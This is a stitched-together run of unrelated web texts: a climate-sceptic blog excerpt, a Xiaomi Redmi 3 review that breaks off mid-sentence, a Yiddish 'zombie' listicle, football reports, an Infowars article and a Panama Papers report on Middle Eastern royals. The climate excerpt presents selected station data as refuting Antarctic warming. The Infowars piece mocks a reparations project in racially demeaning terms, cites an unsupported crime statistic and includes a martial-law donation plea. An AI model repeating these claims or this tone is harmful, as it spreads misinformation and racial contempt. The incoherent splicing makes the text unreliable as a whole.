https://bobtisdale.wordpress.com/2016/02/09/january-2016-sea-surface-temperature-sst-anomaly-update/
In short, the climate in the Antarctic appears to be remarkably stable.
Antarctic Peninsula
It is regularly claimed that the Antarctic Peninsula is one of the fastest warming regions on earth.
However, if we check the actual data, we find this claim is grossly misleading. There seems to have been a shift upwards in temperatures during the 1970’s and 80’s. But since then, there appears to have been little trend at all.
Indeed, last year was unusually cold, compared to many recent years.
http://data.giss.nasa.gov/cgi-bin/gistemp/find_station.cgi?dt=1&ds=12&name=&world_map.x=240&world_map.y=404
We can see this clearly when we look at the trends for the two longest running stations, Faraday and Esperanz, at different ends of the peninsula. (Faraday aka Vernadsky).
http://data.giss.nasa.gov/cgi-bin/gistemp/show_station.cgi?id=700890630008&dt=1&ds=12
http://data.giss.nasa.gov/cgi-bin/gistemp/show_station.cgi?id=301889630008&dt=1&ds=12
5-Year averages are now lower than they were in the 1970’s at Faraday, and in the 1980’s at Esperanz. At both sites, temperatures appear to be past their peak.
So it appears that another myth has been blown apart.
None of this, of course, was supposed to be happening. Global warming theory demands that warming is faster at the poles. Whatever is going on in the Arctic, the Antarctic is not playing ball.
AdvertisementsWarsaw is expected to sign around 40 trade and bilateral agreements with Beijing during an official visit to Poland by Chinese President Xi Jinping, who arrived on Sunday.
Warsaw hopes the visit of the Chinese leader, who has been invited by Polish President Andrzej Duda, will help open up the vast Chinese market to Polish food and agricultural goods.
Officials also hope to encourage Chinese firms to invest in Poland.
While in Warsaw, Xi Jinping will meet Prime Minister Beata Szydło and the Speakers of Poland’s lower and upper houses of parliament.
During the visit, agreements on joint projects in civil aviation, energy, finance and science are expected to be signed between the two countries.
During a visit to Beijing in April, Polish Foreign Minister Witold Waszczykowski discussed the possible involvement of Chinese contractors in the construction of roads, railways and airports in Poland.
"The opportunities for cooperation with China are endless," Waszczykowski said after his visit. (pk)
Source: IARRon Amadeo
Ron Amadeo
Ron Amadeo
Ron Amadeo
Ron Amadeo
Ron Amadeo
Ron Amadeo
Ron Amadeo
Ron Amadeo
Ron Amadeo
Xiaomi is one of the most exciting Android OEMs in the industry—despite the fact that you can't buy the company's phones in the US or Europe. It has redefined the term "bang for your buck" for smartphones, offering low-cost, unlocked devices with great specs and build quality.
Previously, we were impressed with the Mi 4 and Mi Note, both of which offered relatively high-end specs for under $400. The Xiaomi Mi 5 will follow a similar pattern, offering the brand new Snapdragon 820 for less than the competition. Xiaomi doesn't just live in the high end of the market, though—today we're asking, "What can you build us for about a hundred bucks?" Xiaomi's answer is the astoundingly good Redmi 3.
Consider the current go-to budget Android phone, the $150 2015 Moto E. The Redmi 3 has a bigger, better screen (a 5.0-inch 720p versus the Moto E's 4.5-inch 540p display), a faster SoC (Snapdragon 616 versus Snapdragon 410), extra RAM (2GB), double the storage (16GB), a big battery (4100mAh versus 2390mAh), and a build quality bump from a sturdy plastic body to a metal one.
Xiaomi manages to do all this while still being $40 cheaper than the Moto E—if you live in a country Xiaomi does business in, you can snag the Redmi 3 for just $107 (CNY 699). The specs even beat the more expensive 2015 Moto G. For $220, Motorola/Lenovo will sell you a 16GB Moto G with 2GB of RAM. It's on par with the Redmi 3, but Xiaomi's phone still has a faster SoC, a bigger battery, and a metal body.
The big catch with this device, like all Xiaomi devices, is that it's not for sale in the US or Europe, and it doesn't support the right LTE bands to work here anyway. Our importer took a month to get the phone to the US and jacked the price 50 percent (which, at $160, is still a bargain). And this is still a Chinese phone from China; while you can pick "English" as the system language, that doesn't work for every app. Some things, like Xiaomi's app store and theme store, remain stuck in Chinese.
SPECS AT A GLANCE: Xiaomi Redmi 3 SCREEN 1280×720 5.0-inch IPS (244 PPI) OS Android 5.1 Lollipop with MIUI 7.0 CPU 1.5GHz Qualcomm Snapdragon 616 (1.5Ghz quad-core Cortex A53 and quad-core 1.2GHz Cortex A53) RAM 2GB GPU Qualcomm Adreno 405 STORAGE 16GB NAND flash, expandable by up to 128GB via Micro SD NETWORKING 802.11b/g/n, Bluetooth 4.1. GSM/GPRS/EDGE (900, 1800, 1900 MHz)
CDMA (800, 1900 MHz)
UMTS/HSPA+ (850, 1900, 2100 MHz)
4G LTE (1, 3, 7, 38, 39, 40, 41) PORTS Micro-USB 2.0, headphones, Micro SD slot CAMERA 13MP rear camera, 5MP front camera SIZE 5.48" × 2.74" × 0.33" (139.3 × 69.6 × 8.5 mm) WEIGHT 5.08 (144 g) BATTERY 4100mAh STARTING PRICE $107 off-contract and unlocked (CNY 699), about $160 for US importers OTHER PERKS IR blaster, Quick Charging, FM Radio, Dual SIM
Design and build quality
Build quality has always been a standout area for Xiaomi, but with the Redmi 3, building a metal device on the shoestring budget of $100 feels like a particularly strong effort from the company. We've tried devices in the $100 ballpark before, like the Moto E, the original wave of Android One phones, or Samsung's Tizen phone. Pick any one of those up and you'll immediately feel that low price in the plastic body (though, admittedly, some plastic phones are better than others). The Xiaomi Redmi 3 feels almost as well-made as a flagship device.
The metal back has a diagonal cross-hatch pattern etched into it, which reflects the light differently than the rest of the back. It probably won't be to everyone's taste. Above and below the metal panel are two plastic caps, which presumably act as a window for the radios. The bottom plastic section houses a surprisingly loud and crisp rear speaker, while the top holds the camera, LED flash, headphone jack, secondary microphone, and IR blaster.
The company didn't cut any corners here. This is a solid little device with zero squeaks or creaks. The power and volume buttons feel as good as any other phone. At 8.5mm thick, it is a little thicker than most high-end phones, (which is fine, OEMs!) but Xiaomi seems to have filled that extra space with battery, so we can forgive them for it.
It's not just the build quality that's great. Xiaomi has boosted the capabilities of the $100 segment more than any other vendor. Xiaomi went with components that are usually a full tier above this price segment.
The worst part of any of these cheap devices is usually the screen. As your main interface with the phone, it's the part you stare at all day, and a bad screen will affect a phone more than anything else. In the $100 segment we're used to mediocre 540p screens, but the Redmi 3 has a fantastic 5-inch, 720p LCD. Its 244 PPI isn't as sharp as a $700 500 PPI phone, but I really don't feel like I'm missing anything when using the Redmi 3's screen. The screen is bright and crisp, with great viewing angles. There's really nothing to complain about here, especially for $100.
The SoC is the same story—you'd expect a Snapdragon 4xx at this price point, but Xiaomi upgraded to an eight-core 1.5GHz Snapdragon 616 with 2GB of RAM.
There are even a few extras here. On the side of the phone is a SIM tray, which has two slots of cards in it. The first slot is for the primary SIM, while the second slot can take a second SIM or a microSD card. There are more things you would expect on a $100 device, like a secondary microphone for noise canceling, and even an IR blaster, which often doesn't show up on those $700 flagships we like covering so much. You are missing a few extras you'd usually get on a more expensive phone, though—namely NFC, USB Type-C, and a fingerprint reader. Xiaomi also isn't talking about the front display cover, which means it's probably not Gorilla Glass—it does seem to be some kind of glass, though.
MIUI 7: Android 5.x without any of the Android 5.x features
The Redmi 3 ships with Android 5.1 Lollipop and version 7 of Xiaomi's "MIUI" (pronounced "Me UI") skin. While most OEMs are content to paint inside Google's lines by branding Android with their own color scheme and icons, Xiaomi makes much more drastic changes, often coming up with interface solutions that are completely different from what you would expect from Android.
A lot of the changes make Android work more like iOS, like the removal of the app drawer, the switch to all rounded square icons (even if that means forcing a background on third-party icons), and changing Recent Apps from a vertical interface to a horizontal one. Other changes are purely MIUI inventions, like moving the quick settings to a horizontal panel next to your notifications.
Some Android skins out there tend to "rebuild" with every Android release, incorporating the new features that Google adds while rebranding the interface with the OEM's color scheme and UI artwork. MIUI doesn't rebuild with every Android release; it gets dropped on top of the new Android core. MIUI 6, for instance, released on top of Android 4.4 and Android 5.0—Xiaomi's user interface is independent of the Android version, and as a result it often paves over existing Android features.
As a result of this development cycle, the Redmi 3 ships with Android 5.1, but there are still a lot of Android 5.1 and 5.0 features that are missing. One of Android 5.0's biggest features was the overhauled "Overview" task switcher, which allowed apps to have multiple entries in the task list. Chrome used it to display every tab as a thumbnail in the Overview screen, and Google Docs could show multiple documents, making it easy to jump from webpage to webpage or document to document. This feature never made it to MIUI 7. The lock screen in Android 5.0 was updated to show notifications, but that's not in MIUI 7 either. Settings search, another Android 5.0 feature, is gone. This is something that would be especially useful on MIUI 7, since Xiaomi completely rearranged the settings, making it totally different from stock Android and from MIUI 6. Multi-user support is also dead. That's nearly every user-facing Android 5.x feature down the tubes, leaving only the under-the-hood improvements present in MIUI 7.
What MIUI does offer is tons of customization. The whole interface supports theming, and Xiaomi ships an app store featuring a huge ecosystem of users and developers. The theme engine has been upgraded in MIUI 7, allowing for not just animations (Check out that sweet robot theme in the gallery) but for entire games to be contained in a theme. The Pixels theme has a lock screen with a working Pac-Man game (though it plays nothing like Pac-Man thanks to the ultra-sluggish character and lack of power pills). There's a GameBoy-style theme with a tiny Dragon Quest clone on the lock screen, complete with random RPG battles with enemies and an XP system.
There are also a million settings to dive into. You can customize the single press and long press action of all the hardware navigation buttons. You can rearrange the quick settings panel, change how the home screen scrolls, customize the status bar, change the system font, adjust the screen contrast and white balance, change the notification LED color, and a million other things. Again, it's really a shame that the settings search from Andorid 5.0 never made the jump to MIUI, because finding the thing you want is often difficult.
MIUI also has its own slate of features. Xiaomi's own permissions system is here, even though the feature was only added to stock Android in 6.0. There's also the ability to record phone calls.
I was surprised to find the Google Play Store front and center on our home screen, even on this device imported directly from China—a country where the Google Play Store supposedly isn't up and running. Google Play has been taking baby steps toward a full launch in China—Chinese developers can sell apps to people outside of China, but in the country itself Google still doesn't support paid apps. Rumor has it the company is working on a custom version of the Play Store specifically for China.
What's interesting is that Xiaomi ships the Google Play Store as the only |
y omes ki ekhye—az s’iz nit bashert tsu shtarbn shtarbt men nit. And so we present to you, in listicle form, a century’s worth of reporting on the perpetual zombie state of the Yiddish language, a story that can only be told through chopped headlines and buried ledes.
The klasiker of Yiddish literature: Mendele Moykher Sforim, Sholem Aleichem, and Zombie Hayyim Nahman Bialik.
1. “Two Tongues on Last Legs: Yiddish and Gaelic Appear to be Dying,” Los Angeles Times, 10 August 1928, by Frederic J. Haskin “There is going on in this country a controversy and an evolution of absorbing interest and profound importance. It has to do with the passing into the limbo of dead things of an element which always hold a place of prime importance and that is the very medium of exchange of thought, to wit, language.”
Included at the bottom of Haskin’s article is a notice regarding the levying of the controversial “Squirrel Lien” with the purpose of funding the “elimination of ground squirrels” in Kings County (Brooklyn). We can only assume that the (non) death of Yiddish, Gaelic, and squirrels are intimately related.
2. “Yiddish Theatre Reborn,” The New York Times, 9 October 1955, by Murray Shumach “In paced, tragic tones, [Maurice] Schwartz summoned up ghosts of old plays of the old Yiddish Art Theatre.”
A rare image of Maurice Schwartz not in costume, on the hunt for some tasty brains.
3. “Living Waters,” The New York Times, 22 October 1967, by Curt Leviant “The postwar years have witnessed a remarkable renaissance of interest in Jewish [meaning Yiddish] literature.” Yes, a renaissance of interest—in BRAINS!
4. “Yiddish Theater, Lively Corpse,” The New York Times, 30 November 1977, by Richard F. Shepard “The truth is that there are few practitioners of Yiddish theater who will concede the death of their art, although it is often announced by observers, whom they dismiss as doctors who do not make house calls. […] [B]ut it survives in a form that is striving to adapt to the times. […] The shows are usually pleasing to those who go to them.”
Yeah, we agree, Zombie theater is pretty pleasing.
5. “The Yiddish Theater Refuses to Die,” The New York Times, 7 December 1980, by Murray Shumach “If I’m buried, I don’t feel it.”
There’s a metaphor here, but we’re having trouble placing it.
6. “It’s Not Dead Yet: Yiddish is the Common Language Nowhere on Earth, but it’s the Mother Tongue of Some Jews Seeking Their Roots,” Los Angeles Times, 14 September 1989, by Mathis Chazanov “We lose people every year, simply because of the fact that people are dying […] but somehow we find people who’ve exchanged playing cards on Saturday evenings for something more creative.” 7. “Staying Alive,” The Guardian, 11 July 1995, by Michael Simons “[The Yiddish scholar] clings with not a little desperation to the notion […] that the time is ripe for Yiddish. […] The desperation comes with the shadow of death which, despite greatly increasing interest in the [Yiddish] institute’s activities, still hangs over the culture as a whole.”
Yiddish Desperation trading cards are now on sale! Buy your limited edition packs now and look for the very rare Shadow of Death™ (aka Molekh hamoves) card to complete your set!
8. “Oy Vey: Yiddish Has a Problem,” The Atlantic, 9 September 2014, by Tanya Basu “The future of Yiddish is a mixed bag. […] Language is the lifeblood of a people.” Vi me zogt: es kokht in im dos blut—un es iz take zeyer geshmak!
9. “Lingua Franca: Yiddish Dead? Dying? Not Yet,” The Jerusalem Post, 3 December 2015, by Greer Fay Cashman “Mark Twain, who was then in London, penned a note that in the tail end of the concluding sentence claimed ‘the report of my death was an exaggeration.’ The same can be said of Yiddish.”
The mysterious connection between the great writers is finally revealed: Mark Twain is the Zombie Sholem Aleichem and Sholem Aleichem is the Zombie Mark Twain.
10. “Yiddish Has Not Yet Said its Last Word,” Times of Israel, 26 January 2016, by Robert R. Singer “[Yiddish] is the antidote to assimilation, an expression of belonging and of reclaiming tradition.” Warning: Yiddish is both the cause of and antidote to Zombification!
Our favorite Yiddish necromancer, or, er, Yiddish teacher is definitely Zombie Weinreich.
Special Feature: Excerpts from the Revivalist Writings of Joseph Berger New York journalist Joseph Berger has been on the Yiddish beat for some forty years now, and we offer here just a small selection of his great feats of necromancy! 11. “The Survival of a Hardy Mamaloshn,” Newsday, 6 November 1980 “The signs of Yiddish’s vigor are impressive considering the language came to the United States as a stateless refugee 100 years ago next year with the first wave of Eastern Europeans and has survived without a country all that time. […] [T]he mood is one of rebirth, of renaissance.” Warning! All this talk about Yiddish’s vigor and rebirth may cause something other than the dead to rise up! Please contact a medical professional if this rising lasts longer than four hours! 12. “For Yiddish, a New But Smaller Domain,” The New York Times, 11 October 1987 “David G. Roskies, who teaches Jewish literature at the Jewish Theological Seminary, has no illusions that he and the sprinkling of other Americans who are raising their children in this Jewish vernacular are sparking any major revival. […] Still, people like Mr. [sic] Roskies constitute a rosy speck on what might otherwise be a bleak horizon for Yiddish.” Beware! That rosy speck might be the first signs of the Zombie Yiddish virus! 13. “No Need to Kvetch, Yiddish Lives On in Catskills,” The New York Times, 25 Nov 2010 “Everyone seems on a mission to recapture and resurrect, but the work is not just about mining the past.”
Resurrection in the Catskills. Look out behind you, Baby!
And finally, it may only be March, but there’s already been several Zombie Yiddish sightings this year: 14. “Keeping Alive a Haven for Yiddish Culture in Modern Romania,” The New York Times, 15 January 2017, by Kit Gillet “With few Yiddish speakers left in the country, audiences have been reluctant to see performances that seem so alien to today’s Romania.” Yiddish Lebt, the Sequel: Aliens and Zombies unite!
15. “The Revival of Yiddish in Music and Literature,” The Economist, 13 February 2017
“For all the catastrophes perpetrated against its speakers, Yiddish has endured. In fact, it is undergoing a renaissance.”
The Revivification of Yiddish MusicClint Hill played a key role as Rangers earned a 2-1 win over Hearts at Ibrox
Rangers' Clint Hill has expressed his disappointment at not being offered a new deal by boss Pedro Caixinha.
The 38-year-old joined Rangers in the summer but does not feature in Caixinha's plans and will leave when his deal ends in a few weeks.
"I will be moving on, unfortunately," Hill said.
"Obviously you are a little bit disappointed (at no deal) because when you play at such a big club you want it to last as long as possible."
Former QPR, Crystal Palace and Stoke City defender Hill was in fine form on Saturday as Rangers beat Hearts 2-1 at Ibrox, making a number of timely blocks to help earn his side three points.
Joe Garner gave the Ibrox men an early lead and Barrie McKay won it after Esmael Goncalves levelled for 10-man Hearts.
Hill scored a late leveller to earn Rangers a point against Celtic in March
The win ensure Rangers will finish third this season and while Hill was happy to make it two victories in succession, he knows the season has not gone to plan.
The Englishman joined the club under previous boss Mark Warburton, who left Ibrox in February, and has been a popular figure with the Rangers fans.
He scored a late goal to earn Rangers a point away to Celtic in March and revealed he loved his time at the Glasgow outfit.
"It has been hard on the pitch in terms of performances but it has been brilliant for me to play at this club, and to play in front of the fans has been a big highlight for me," Hill added.
"I have been in football long enough to know that when a new manager comes in they have different ideas, so I am just trying to enjoy every minute as if it's my last.
"I can only wish the club all the best and hopefully see them get back to the top sooner rather than later."Self-loathing whites offer to clean for, massage & be shouted at by blacks to atone for slavery
(Infowars) – A new “reparations” website asks white people to pay black people’s rent and give them money to relieve their white guilt.
The website, started by Seattle-based “conceptual artist” Natasha Marin, suggests a number of ways in which white people can atone for the fact that 1.4 per cent of white people owned black slaves in the United States over 150 years ago.
Examples on the site’s ‘about’ page include;
SPECIAL: Only with your help can we stop Obama’s plans for martial law. Can you donate something, anything to help?
POC 3: I need groceries. White Person 3: “I’ll get them for you. PM me and I’ll send an Amazon Fresh or Safeway delivery. You just pick out what you want. I have a $200 limit.” POC 4: I’m too upset to make dinner. I live in Seattle. White Person 4: “Come over to my house for dinner, bring a friend if you like. PM me and I’ll send you the address, or can I order delivery to you? What kind of food do you like?” POC 6: I want to scream and cuss at someone. White Person 6: “I volunteer as tribute. How do we set this up?” POC 7: I want to escape this cruel world in a *Specific Videogame* but can’t afford it on Steam right now. This is not a crisis, I just don’t trust people easily and want to see if this works. White Person 7: Thank you for giving me the chance to do something concrete and relatively easy. I was quietly hating myself for doing nothing.
Numerous white people beset with self-loathing have already offered a number of goods and services, including the free use of a car, house cleaning, massages, “catharsis,” and straight-up cold hard cash.
Black people have also posted messages on the site with requests for free laptops, a Kindle EBook Reader and recording studio access.
“I want my project fully funded or at least my phone paid for from here till December so I can stay in Boriken writing about Amerikkkan colonialism,” another man demands on the ‘Reparations’ Facebook page.
Someone else asks for recording studio time so they can record, “an album entitled “White Boys” to vent out my frustration on, well, white boys.”
Before you say it, no this is not a joke, despite the fact that it’s absolutely hilarious. Every offer or request on the website links to the individual’s personal Facebook profile.
Marin says the website is a way for white people to “extricate themselves from the guilt they are mired in” but that it is in “no way a pardon for years of systemic abuse” (presumably Marin is not talking about the kind of “systematic abuse” that leads to figures like white people being 27 times more likely to be violently attacked by black people than vice-versa).
Marin asserts that the fight for a widescale, government-sanctioned reparations program is “totally legitimate” and should continue outside the confines of her website.
There is no indication yet on whether the website will spawn a copycat catering for white people upset at the Barbary slave trade, a far longer and more brutal period of slavery under which both blacks and whites were brutally oppressed by Arabs.
The concept will no doubt be lauded by ‘Black Lives Matter’ organizer Ashleigh Shackelford (pictured above), who has written a series of articlesdemanding that white people give her money for being a “fat black bitch”
After explaining how she was triggered by white people attending BLM rallies, Shackelford said that that they would be better served writing checks and giving up their car keys.
Reparations.me as well as Marin’s Facebook page gives white guilt-ridden leftists the chance to do precisely that.Wayne Rooney will never be a secret weapon. There has been too much of everything that catches the eye: talent, fame, success, failure and scandal. But there is a role he is yet to play. Manchester United, at least, must see him as one of the few figures who could upset the characteristic poise of Pep Guardiola's Barcelona in Saturday's Champions League final at Wembley. As it is, Rooney lacks a moment quite like that in his career.
He does have a winner's medal from the tournament already but he had been substituted before Chelsea were beaten on penalties in 2008. Neither he nor anyone else made their mark in the following season when smoothly formidable Barcelona won 2-0. Any player with Rooney's gifts ought to crave a match that will imprint his name on football history.
Something, admittedly, will have to change if a crestfallen United are not to find themselves bewildered as they are ushered towards defeat. On the 2009 occasion, Rooney was employed on the left, with the centre-forward role reserved for Cristiano Ronaldo. Logic suggests the Englishman, moving on to his right foot, could also attack through the middle, but the scheme did not work in practice.
Come Saturday, there is a better prospect of Rooney operating in the centre, whether as the spearhead or behind Javier Hernández. For all the quality in a squad that has taken United to the Premier League title once more, it is still critical that Rooney himself present a threat. Absurd as it sounds, a post in the core of the attack could help galvanise him. Fielding him there amounts to a tribute by implying that he is the heart of the club's hopes. As it is, he is still in search of a full resurgence.
Rooney felt the fatigue, mental and physical, of the 2010 World Cup as his goallessness epitomised the absence of impact by England. The current campaign was barely begun when allegations about his private life surely unsettled him. With ankle trouble also a distraction in 2010, Rooney had come up with just two League goals by 1 January of this year. This season has often been a slog for a footballer whose exuberant successes as a teenager at Everton must feel like the feats of someone else entirely.
Rooney is due a little credit for plugging away. He has finished joint-third in the table for assists in the Premier League. That, all the same, is a modest prominence. He was tied with Leighton Baines, a full-back, Andriy Arshavin, who latterly dropped to the Arsenal bench, and Cesc Fabregas, another figure in an uneasy phase at the Emirates. Given his sometimes self-absorbed air, it felt incongruous that Chelsea's Didier Drogba should rank second for setting up goals. The victor in this category, though, was Nani, a team-mate of Rooney's who could be among the substitutes on Saturday.
The England international is not to be judged solely in that category. He is also a scorer on his own account and has achieved some impetus in 2011, but his total for the season of 15 in all competitions will be Rooney's lowest return for United since joining the club, unless he plants the ball past Victor Valdes on a couple of occasions this weekend.
Even so, there is no real cause to consider him anything other than an asset. Rooney understood his own value in the autumn when wringing out of the club a contract thought to bring him £160,000 a week. That deal would have reflected the forward's impact the previous season, when he piled up 33 goals, but United's dependence on him was also intensified by the fact that Ronaldo, the other star with his golden years ahead of him, had been sold to Real Madrid in 2009.
It is curious that Rooney's influence on the outcome of the Premier League received little attention. Perhaps people were waiting for even more evidence. He scored the fairly late winner against Manchester City in February. When the side lagged 2-0 at Upton Park, his hat-trick reversed the momentum of a match that ended in a 4-2 victory. It was a Rooney goal in the Champions League win at Stamford Bridge that shaped the quarter-final.
Now comes the final itself. The miseries in the early month of the schedule must have been crushing, even if some of the woe was self-inflicted, but, if United can overcome the odds, the game with Barcelona may take Rooney to the peak of his career.The Panama Papers may be the largest data leak regarding offshore companies, but it is not the first. Offshore Leaks and Swiss Leaks were the first in this case. The nature of these revelations was different. Yet they all have had one common denominator: namely that numerous members of Middle Eastern royal families were mentioned in the previously secret data. Despite the fact that these royal families are not only immensely wealthy, virtually omnipotent and mostly exempted from paying taxes, they are, nonetheless, apparently among the most loyal customers of the industry of offshore accounts. But why? Offshore Leaks data revealed, among others, the name of Kuwait’s former Vice Prime Minister’s son. Swiss Leaks mentions as beneficiaries of Swiss bank accounts the former Saudi Arabian King’s half-brother and Qatar’s former Minister of the Interior. But the Panama Papers now reveal no less than 73 members of reigning Middle Eastern royal families, including the incumbent king of Saudi Arabia. Middle Eastern royals seem to love going offshore. Süddeutsche Zeitung (SZ) has now, in conjunction with Arab journalists, who will remain anonymous for their own safety, systematically analysed the data from the Panama Papers, Offshore-Leaks, and Swiss-Leaks databases for any mention of members of the ruling Middle Eastern royal families. This resulting database demonstrates how intensively the ruling houses utilize opaque offshore charitable trusts, secret Swiss bank accounts and interwoven, complex networks of shell companies.
Sources: Panama Papers, Swiss-Leaks, Offshore-Leaks
"Lines between politics and personal economic interests get blurred in this part of the world and this creates an environment for corruption", says Robert Palmer of the NGO “Global Witness. It often remains quite unclear which business deals, brokered by a member of a Middle Eastern royal family, are of a private or official nature, and no laws of disclosure are, as such, in place to force them to reveal these. Of the 73 offshore royals to be found on 2.6 terrabytes of information that was provided to Süddeutsche Zeitung by an anonymous source, 27 are from Kuwait.
Sources: Panama Papers, Swiss-Leaks, Offshore-Leaks
The hereditary royal succession in this kingdom has been in the hands of the Al-Sabah family for more than 250 years, and its members are to be found in all key government positions. But many of their subjects are now refusing to accept the monarchy as a ruling body, as could be seen in 2012 when approximately 100,000 Kuwaitis took to the streets in protest of their rulers. This protest was preceded by a bribery scandal that shook to the core the very foundations of the Emirate. Members of government and loyal members of Parliament had allegedly accepted bribes of up to 250 million euros, which resulted in Emir Sabah al-Ahmad al-Dschabir al-Sabah dissolving the government parliament. There were potentially quite a few reasons for the powerful in Kuwait to hide their true wealth. Besides the relatives of the Emir that appear in the Panama Papers the Süddeutsche Zeitung database mentions 20 names of the Emir’s direct family, which are named in the so called Swiss-Leaks data (also reffered to as HSBC files). Three Kuwaiti royals are, in addition, mentioned in Offshore-Leaks documents, data that traces to the very beginning of uncovering of tax haven leaks in 2013. But it is not just members of the Kuwaiti royal family who are mentioned in the SZ database. Saudi Arabia counts even more of its royals named than Kuwait. Fifty-six members of the royal family of Al-Saud alone are to be found in all three leaks, 17 of these in the Panama Papers.
Sources: Panama Papers, Swiss-Leaks, Offshore-Leaks
The most prominent among these names is the King himself. Salman bin Abdulaziz al-Saud was, before ascending to the throne in 2015, the Governor of Saudi Arabia’s capital city of Riyadh. Under his reign as Governor, the desert city grew to be a city of several million inhabitants, and he himself became a multi-millionaire. According to the Panama Papers, he was, at one point, a listed partner of two companies registered in Luxembourg. The “Shaf Corporation SPF/S.A.” belonged, according to these documents, to him and his first wife and six of their children.
A document within this mound of information, dating to 1996, demonstrates that the aforementioned company owned a further seven front companies. Some of these had been founded in the 1970s and are, by now, inactive. But it seems that the king is still actively managing his rather opaque network of companies seeing as at least three Panama-based companies were active until a few weeks ago. But what kind of business he conducts through these companies is unclear. When asked to comment on these facts, a spokesperson of the Saudi Arabian embassy in Berlin apologized for a delay in responding as he was still waiting for an answer from the royal family. But the king ultimately never responded to the request of Süddeutsche Zeitung. The question as to why an absolute ruler like Salman bin Abdulaziz al-Saud would want to hide his wealth remains a mystery. He does not have to evade tax laws and regulations as he is in charge of creating them. In addition, Saudi Arabia does not have a Parliament made up of elected members as all power rests with the monarch and his family. “Their way of becoming rich truly is the most extreme form of luck. You are rich just because you happen to be ruler of a country that has discovered oil, and the oil price happens to be rising at that time,” says French tax economist Gabriel Zucman. “This form of extreme wealth is the basis for the risk of others questioning the legitimacy of your wealth, saying that it is totally unfair for one family to be so rich when in the same geographical region of the Middle East millions of people live in poverty.” Nearly every third young person in Saudi Arabia is unemployed. This is a form of social divide that could eventually lead to upheaval. Due to the lack of transparency laws, one can only speculate as to the wealth of the Sheikhs, Kings and Emirs of the Middle East. But we can describe it on the basis of the visible wealth. The yacht Al-Mirqab, for example, is not just simply a yacht, but a floating palace. It is 60 meters longer than any commercial airplane, complete with a cinema, several pools, bars and ten suites on 5,000 square metres, designed to house only 24 very special guests. Up until now, it was always said that the majestic “barge” belonged to the former Emir of Qatar, Hamad bin Chalifa al-Thani. But the Panama Papers show that the construction of the boat was handled by a shell company registered in the Bahamas, called “Trick One Limited.” According to the documents of offshore service provider Mossack Fonseca (Mossfon), David Atkinson, the supposed captain of the ship, was in charge of this particular company. When the Panama-based law firm conducted a routine background check of Atkinson in 2003 and asked, in line with this investigation, for him to provide two electricity bills, to establish his identity and place of residency, Atkinson replied via email:
The " " Due Diligence " " Documents they have requested can not be provided. For example they ask for 2 utilities bills!!!!! They have to find another solution.
But why are two harmless electricity bills too much to ask for? Probably because Captain Atkinson, general manager and sailor, does not exist. According to the Panama Papers, “Captain” Atkinson’s email address was listed as part of the contact details for Sheikh Hamad bin Jassim bin Jabber al-Thani, former Minister for Foreign Affairs as well as Prime Minister of Qatar and second cousin to the Qatar head of state and one of the most influential men of the Arabian Peninsula. A Mossfon employee sent an email to Captain Atkinson in 2006 but addressed it to “dear Mr. Sheikh Hamad.” So why does the Sheikh need an alias? The Sheikh did not answer Suddeutsche Zeitung’s request for clarification. But why do absolute rulers even need front companies? Asked by Süddeutsche Zeitung, two high-ranking members of a royal family in the Gulf region answered, that it would be totally illogical to think they would use offshore vehicles to avoid or minimise tax, as there are no taxes in their country. But their responses was not allowed to be officially quoted. So the question as to why they would even need these companies if not for tax purposes has remained unanswered. But one thing is certain, namely that the Arab Spring has unsettled absolute rulers in the Middle East. There are not very many absolute monarchies left in the world, but most of them are to be found in the Middle East. It is the last domain of a dying form of government, as more and more citizens demand more rights, more justice and more democracy. How safe is the Emir of a Gulf state if even Muammar al-Gaddafi or Hosni Mubarak could be toppled? Many ruling families live in fear of the loss of power within their families and possible revolutions. “The aim is to get the money abroad in case one day, the country will no longer be under their rule,” says Middle East expert Guido Steinberg. The Swiss Leaks data did indeed reveal the names of many a loyal supporter of Middle Eastern rulers. Names such as that of the brother-in-law of the now toppled Tunisian dictator, Zine el-Abidine Ben Ali, who had a Swiss bank account containing more than $20 million.
The name of Khalifa bin Zayed Al Nahyan, President of the United Arab Emirates, is another one that can now be found in the Panama Papers. According to the Mossack Fonseca documents, he at one point owned more than 20 front companies, of which 14 were still active in late 2015.
When Al-Nahyan wanted to close a real estate deal in 2011 and demanded
power of attorney for one of his companies, a discussion arose as to
what forms of identification he would have to provide to do so.
From: XXXXXX@mossfon.com Mrs. Flax is on vacations currently. However, her comments regarding the provision of this type of powers of attorneys are: "[...] If the client is not cooperating with us in providing the DD then this should result in the cancellation of the POA [...]"
From: Jurgen Mossack [...] Asking for a copy of the passport of the president of a country in my opinion is a bit too much to ask [...]
It is this type of image that ruling families also like to display when travelling. It was as late as 2015 when the ban on night time flights at Zurich airport was temporarily cancelled because the Emir of Qatar wanted to recuperate from a broken leg in Switzerland. He is supposed to have arrived in an Airbus that, if utilised commercially, could have transported more than 300 people. His retinue arrived in three additional planes, among them a jumbo jet. Insiders report that, at certain airports, the super-rich of the Middle East are allowed to enter the country without passports. If doubts as to their identity arose, the respective ambassador would be able to confirm said identity. It seems as if Middle Eastern royals and their passports do not have to be intrinsically linked. The aforementioned Sheikh Hamad, cousin to the former Emir, seemed to think along the same lines. According to the Panama Papers, the Luxembourg branch of Mossack Fonseca wanted to provide Sheikh Hamad with power of attorney over a shell company in 2011. At the time, Hamad held the position of Minister for Foreign Affairs as well as Head of State, which gave him the status of “a politically exposed person.” The caseworker at Mossfon contacted a partner of the law firm to ensure that she was authorized to close the deal, and he suggested to demand an exemption of liability from the Sheikh. This is a document that releases Mossack Fonseca from all legal responsibility should the Sheikh be planning to conduct any illegal business. This constituted a serious affront in the eyes of the billionaire and he replied:
Referring to your e-mail with the attached indemnity letter I am sorry to inform you that I will not sign this letter. We have used your firm since some 25 years now and in many cases you act as directors. I never ever have been asked to sign such an indemnity letter and I have not been informed that i should sign something like this when you accepted to act as directors.
This email was apparently successful seeing as, all of a sudden, the partners of Mossack Fonseca seemed to be happy to accept due diligence for the proposed company:
From: Chris Z. O.K. in view that the client has passed the due diligence by the client and the Luxembourg bank and in view that we have this written communication with our professional client, i suggest – FROM MY PART – to go ahead with this request.
From: Ramon Fonseca Ok, also.USA's hopes of qualifying for the 2018 World Cup ended in October with defeat by Trinidad & Tobago
The teams that failed to qualify for the World Cup might yet have the chance to play in an international tournament next year.
That is because the United States Soccer Federation (USSF) is exploring the idea of hosting a competition featuring those who missed out on Russia 2018.
BBC Sport has learnt that the idea is at a preliminary stage.
Associations have yet to be contacted and US Soccer, whose team also failed to reach the World Cup, has yet to formulate a structure for the tournament.
It is also understood that the competition would need to attract the cream of the teams that missed out on qualification and their best players.
